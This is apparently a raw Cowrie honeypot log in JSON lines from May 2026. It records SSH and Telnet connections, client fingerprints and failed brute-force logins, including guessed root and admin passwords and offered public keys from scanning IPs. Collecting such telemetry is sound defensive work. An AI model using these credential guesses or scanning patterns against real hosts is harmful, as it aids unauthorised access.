{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:14.192641Z","src_ip":"191.96.110.121","session":"97934bcc5368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:14.397877Z","src_ip":"193.37.70.224","session":"5e97258e1536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:15.499233Z","src_ip":"191.96.110.121","session":"97934bcc5368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58822,"dst_ip":"10.17.0.5","dst_port":23,"session":"3985510a3218","protocol":"telnet","message":"New connection: 152.42.224.71:58822 (10.17.0.5:23) [session: 3985510a3218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:15.562415Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":54084,"dst_ip":"159.203.135.109","dst_port":22,"session":"12c500cb07d5","protocol":"ssh","message":"New connection: 68.183.236.1:54084 (159.203.135.109:22) [session: 12c500cb07d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:17.648709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:17.654184Z","src_ip":"68.183.236.1","session":"12c500cb07d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:17.908030Z","src_ip":"68.183.236.1","session":"12c500cb07d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:18.953546Z","src_ip":"68.183.236.1","session":"12c500cb07d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:20.210880Z","src_ip":"68.183.236.1","session":"12c500cb07d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.122.15","src_port":50196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9106c55c71c5","protocol":"ssh","message":"New connection: 107.173.122.15:50196 (10.17.0.5:22) [session: 9106c55c71c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.366689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.371559Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.417275Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:a7:5c:a8:1e:51:fc:63:83:26:66:8f:e6:87:12:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5pq5/nLDc4xcg2ZvZ+AB/hUYwcDFa9O7ufqMmIWiQlF4YxFQg7c60pOknKXzg8WNr6K0KRh7QDLxctLnwqg1Qhwd7d598rliKoA8HnKIwYMRS4u99+M3jn8kjS70b82kaA/TPKc1tMXXbwgMz3dBQ1jxhz6p9XK/4iGd8VPzQxbNkpDprycRifZduuVSJEaOnpO94RUpuXyGc7MU0ehLGYa7zbSU0lPufR4hYFE8BX1puCSS3VNdU1CT1Lmc6VGX3ofXdDsbbTP+mO8/Q4HFCY/Npg8nbGfcYrvrNYDYm4zlUhuo7iBpee13imlSHOX/ulIGOh7es+az8TCkfAzkt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:a7:5c:a8:1e:51:fc:63:83:26:66:8f:e6:87:12:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.609961Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:a7:5c:a8:1e:51:fc:63:83:26:66:8f:e6:87:12:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5pq5/nLDc4xcg2ZvZ+AB/hUYwcDFa9O7ufqMmIWiQlF4YxFQg7c60pOknKXzg8WNr6K0KRh7QDLxctLnwqg1Qhwd7d598rliKoA8HnKIwYMRS4u99+M3jn8kjS70b82kaA/TPKc1tMXXbwgMz3dBQ1jxhz6p9XK/4iGd8VPzQxbNkpDprycRifZduuVSJEaOnpO94RUpuXyGc7MU0ehLGYa7zbSU0lPufR4hYFE8BX1puCSS3VNdU1CT1Lmc6VGX3ofXdDsbbTP+mO8/Q4HFCY/Npg8nbGfcYrvrNYDYm4zlUhuo7iBpee13imlSHOX/ulIGOh7es+az8TCkfAzkt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.614089Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.28675365447998,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.648562Z","src_ip":"152.42.224.71","session":"646fee075450","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:01:02:4a:06:1d:aa:a9:1e:64:7c:e1:c1:3d:f8:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzWfmx7/sfcRcLhZ4MyQ1Epz+mk5ZDUegrHiPNO+1YG9L7rzFqdgMkDzLtH6J2Jb/Crth5fEZVRLbb+ax+/+J1Fy+FIwKUmU254j+sVqPBvxv6p0YgpHyh/hVwK2y58xsdBoJbrsAcNR3fS49UWMBRE63GLfZO2TeHYMCG1iGpsFW0N1a2JSuAA+p5sbHNyHRygpvdXpCl9o6B5CoL+XjMEIw7UMj5dXLwUnlz4F81SNLQeTMP3KbF7XHcQrjvWUReiCoNSbSyP4FYdIBLe4VpmlorSlHDEQ/vMsGakbuUmZyHA16S0htGfujSPZWB5vT21McXAMRlypd5oJGLRhnqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:01:02:4a:06:1d:aa:a9:1e:64:7c:e1:c1:3d:f8:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.662301Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:01:02:4a:06:1d:aa:a9:1e:64:7c:e1:c1:3d:f8:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzWfmx7/sfcRcLhZ4MyQ1Epz+mk5ZDUegrHiPNO+1YG9L7rzFqdgMkDzLtH6J2Jb/Crth5fEZVRLbb+ax+/+J1Fy+FIwKUmU254j+sVqPBvxv6p0YgpHyh/hVwK2y58xsdBoJbrsAcNR3fS49UWMBRE63GLfZO2TeHYMCG1iGpsFW0N1a2JSuAA+p5sbHNyHRygpvdXpCl9o6B5CoL+XjMEIw7UMj5dXLwUnlz4F81SNLQeTMP3KbF7XHcQrjvWUReiCoNSbSyP4FYdIBLe4VpmlorSlHDEQ/vMsGakbuUmZyHA16S0htGfujSPZWB5vT21McXAMRlypd5oJGLRhnqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.665890Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:29:ed:0f:dd:3d:f7:ce:94:f8:81:3a:ed:46:d1:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbgqBWBVXsGaPulqg8F6kAbxOJ8N3yrrw2sF/RJlTKLfy/jFz6FUT6U84/Sy5T8qxtmsfY9Kf0UC/EE6BQjGAnVgDSk0WMI6MD8kbBMJmqxEVHlzjNGD4dC69aTgx7shFGedxgRsDLDlkHVj4vOviaJftOTcVxpTmnxgDaYspNPcMymTFaiTQvbAaS/yHTim/598J8+H+g9MNi3wiSfwrIqn0uRDxSfjdQVsWcAWhEQjL5quKes7e4mqooswKeYNdJIBg6Z965fgCiZaOdvt276xn9NJkd79FWrS17AJZsbTSJdEU4fT/g0zr0PjSNM58L46K5swC/Axt8ckMo+ZQZDrMgj3OpSCmGLhv1AzrHStxRCp9kEP1c3lIk1LIiUQ7OqIf1RVtZ7m4uDtyVIO7Cxq62yijDp5pBJHdGE/UGLWO8ZctRoOVvdqv8cppeO/su6xWZsFXv9VuyksLkXPiA1TcUGv+HgNsVQdklqr1d2+W78/BVs16QRHVpDBnlQ18=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:29:ed:0f:dd:3d:f7:ce:94:f8:81:3a:ed:46:d1:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.710968Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:29:ed:0f:dd:3d:f7:ce:94:f8:81:3a:ed:46:d1:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbgqBWBVXsGaPulqg8F6kAbxOJ8N3yrrw2sF/RJlTKLfy/jFz6FUT6U84/Sy5T8qxtmsfY9Kf0UC/EE6BQjGAnVgDSk0WMI6MD8kbBMJmqxEVHlzjNGD4dC69aTgx7shFGedxgRsDLDlkHVj4vOviaJftOTcVxpTmnxgDaYspNPcMymTFaiTQvbAaS/yHTim/598J8+H+g9MNi3wiSfwrIqn0uRDxSfjdQVsWcAWhEQjL5quKes7e4mqooswKeYNdJIBg6Z965fgCiZaOdvt276xn9NJkd79FWrS17AJZsbTSJdEU4fT/g0zr0PjSNM58L46K5swC/Axt8ckMo+ZQZDrMgj3OpSCmGLhv1AzrHStxRCp9kEP1c3lIk1LIiUQ7OqIf1RVtZ7m4uDtyVIO7Cxq62yijDp5pBJHdGE/UGLWO8ZctRoOVvdqv8cppeO/su6xWZsFXv9VuyksLkXPiA1TcUGv+HgNsVQdklqr1d2+W78/BVs16QRHVpDBnlQ18=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.714113Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:16:e7:2d:34:55:b0:bd:0b:58:58:48:ff:3d:8d:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW6z1qV8mZP6f5ZBi2Ze+xf6cjuSA25k/Kp3P6USEVP5CHnfL1rPAdO2DF/6IL7cDZRpbRoBpqAAvtFQ/qEXhtFQx/QMlHjIy37AoLkdkpMuLZoSgJTwr190GTwJNKC15LtSJUlF8qWI3uMy1qMDovvBrF2E+GMk9XtrO6fRy1QMQvfI/ShFPiwVMQ+Ek2F90+syV4UvSlK1Ot34lF25zalpvQQ7c5iiXow73t+UIh01Ct7VeiZhnBiLa6zxtX7SlQ1HHjGAkV4DObs4uvKmc1CbU2QY0k6KSrynT1bXL/lIn23JO9TIwamj93eM5hzBWD2mPuOvfkVc2rf/Ezfgaj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:16:e7:2d:34:55:b0:bd:0b:58:58:48:ff:3d:8d:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.758799Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:16:e7:2d:34:55:b0:bd:0b:58:58:48:ff:3d:8d:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW6z1qV8mZP6f5ZBi2Ze+xf6cjuSA25k/Kp3P6USEVP5CHnfL1rPAdO2DF/6IL7cDZRpbRoBpqAAvtFQ/qEXhtFQx/QMlHjIy37AoLkdkpMuLZoSgJTwr190GTwJNKC15LtSJUlF8qWI3uMy1qMDovvBrF2E+GMk9XtrO6fRy1QMQvfI/ShFPiwVMQ+Ek2F90+syV4UvSlK1Ot34lF25zalpvQQ7c5iiXow73t+UIh01Ct7VeiZhnBiLa6zxtX7SlQ1HHjGAkV4DObs4uvKmc1CbU2QY0k6KSrynT1bXL/lIn23JO9TIwamj93eM5hzBWD2mPuOvfkVc2rf/Ezfgaj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.762296Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:47:b3:8b:bb:c2:94:e3:02:63:5f:0f:21:2c:79:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDALWXGmqhxl80+RgjWAGcyfj/nBujCXqfhZtsORgkShm5di9+3J6x9g+w6S+RySaTdP0pO019PGzsCHJGwHZRx2nXACwkYoKmza9OgS5sDwarMB6lG42p1TExpgttHPBeQTJv6bOToksIB8UIVYveGNJ729OBW8gy4S7+RU/wehzE8+1WrIhTFApwbDkfey6PkGziAmMrLrzrZhEegnZa4BkIYTXWvnHe4a0zvGgmkSmOFhup2qgCLyPx+Wr1D4nTRsG8mwvKIWsHSUcKKsOfravGEGWr3ASrVG+PtxtYlhmJC5UMhyQmv5rXK+cM6kvYRnt1Je5POsDCNXBuOVDF/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:47:b3:8b:bb:c2:94:e3:02:63:5f:0f:21:2c:79:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.806205Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:47:b3:8b:bb:c2:94:e3:02:63:5f:0f:21:2c:79:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDALWXGmqhxl80+RgjWAGcyfj/nBujCXqfhZtsORgkShm5di9+3J6x9g+w6S+RySaTdP0pO019PGzsCHJGwHZRx2nXACwkYoKmza9OgS5sDwarMB6lG42p1TExpgttHPBeQTJv6bOToksIB8UIVYveGNJ729OBW8gy4S7+RU/wehzE8+1WrIhTFApwbDkfey6PkGziAmMrLrzrZhEegnZa4BkIYTXWvnHe4a0zvGgmkSmOFhup2qgCLyPx+Wr1D4nTRsG8mwvKIWsHSUcKKsOfravGEGWr3ASrVG+PtxtYlhmJC5UMhyQmv5rXK+cM6kvYRnt1Je5POsDCNXBuOVDF/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.809192Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:23.856481Z","src_ip":"107.173.122.15","session":"9106c55c71c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56466,"dst_ip":"10.17.0.5","dst_port":23,"session":"58a9a06b1289","protocol":"telnet","message":"New connection: 152.42.224.71:56466 (10.17.0.5:23) [session: 58a9a06b1289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:26.635045Z"}
{"eventid":"cowrie.session.closed","duration":120.01669907569885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:43.374183Z","src_ip":"152.42.224.71","session":"41554ef255c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.54814100265503,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:44.110445Z","src_ip":"152.42.224.71","session":"3985510a3218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7b3041fb82a","protocol":"telnet","message":"New connection: 152.42.224.71:54306 (10.17.0.5:23) [session: d7b3041fb82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:44.703158Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39992,"dst_ip":"10.17.0.5","dst_port":23,"session":"685ed211d5c3","protocol":"telnet","message":"New connection: 152.42.224.71:39992 (10.17.0.5:23) [session: 685ed211d5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:48.197991Z"}
{"eventid":"cowrie.session.closed","duration":42.33138728141785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:53.587590Z","src_ip":"152.42.224.71","session":"f85b4f281975","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39994,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e4ffc1bf8a","protocol":"telnet","message":"New connection: 152.42.224.71:39994 (10.17.0.5:23) [session: e3e4ffc1bf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:54.681187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"54c98aeec7b8","protocol":"telnet","message":"New connection: 152.42.224.71:40010 (10.17.0.5:23) [session: 54c98aeec7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:55.128001Z"}
{"eventid":"cowrie.session.closed","duration":10.311798810958862,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:58.509669Z","src_ip":"152.42.224.71","session":"685ed211d5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50852,"dst_ip":"10.17.0.5","dst_port":23,"session":"718a748a2b79","protocol":"telnet","message":"New connection: 152.42.224.71:50852 (10.17.0.5:23) [session: 718a748a2b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:44:58.691529Z"}
{"eventid":"cowrie.session.closed","duration":36.128788471221924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:02.763744Z","src_ip":"152.42.224.71","session":"58a9a06b1289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9e029f6c8e","protocol":"ssh","message":"New connection: 2.57.121.112:10576 (159.203.135.109:22) [session: 6b9e029f6c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:04.515107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:04.520679Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:04.626820Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21361,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c048777671b","protocol":"ssh","message":"New connection: 2.57.121.25:21361 (159.203.135.109:22) [session: 8c048777671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.056582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.062613Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"addams","message":"login attempt [admin/addams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.125048Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
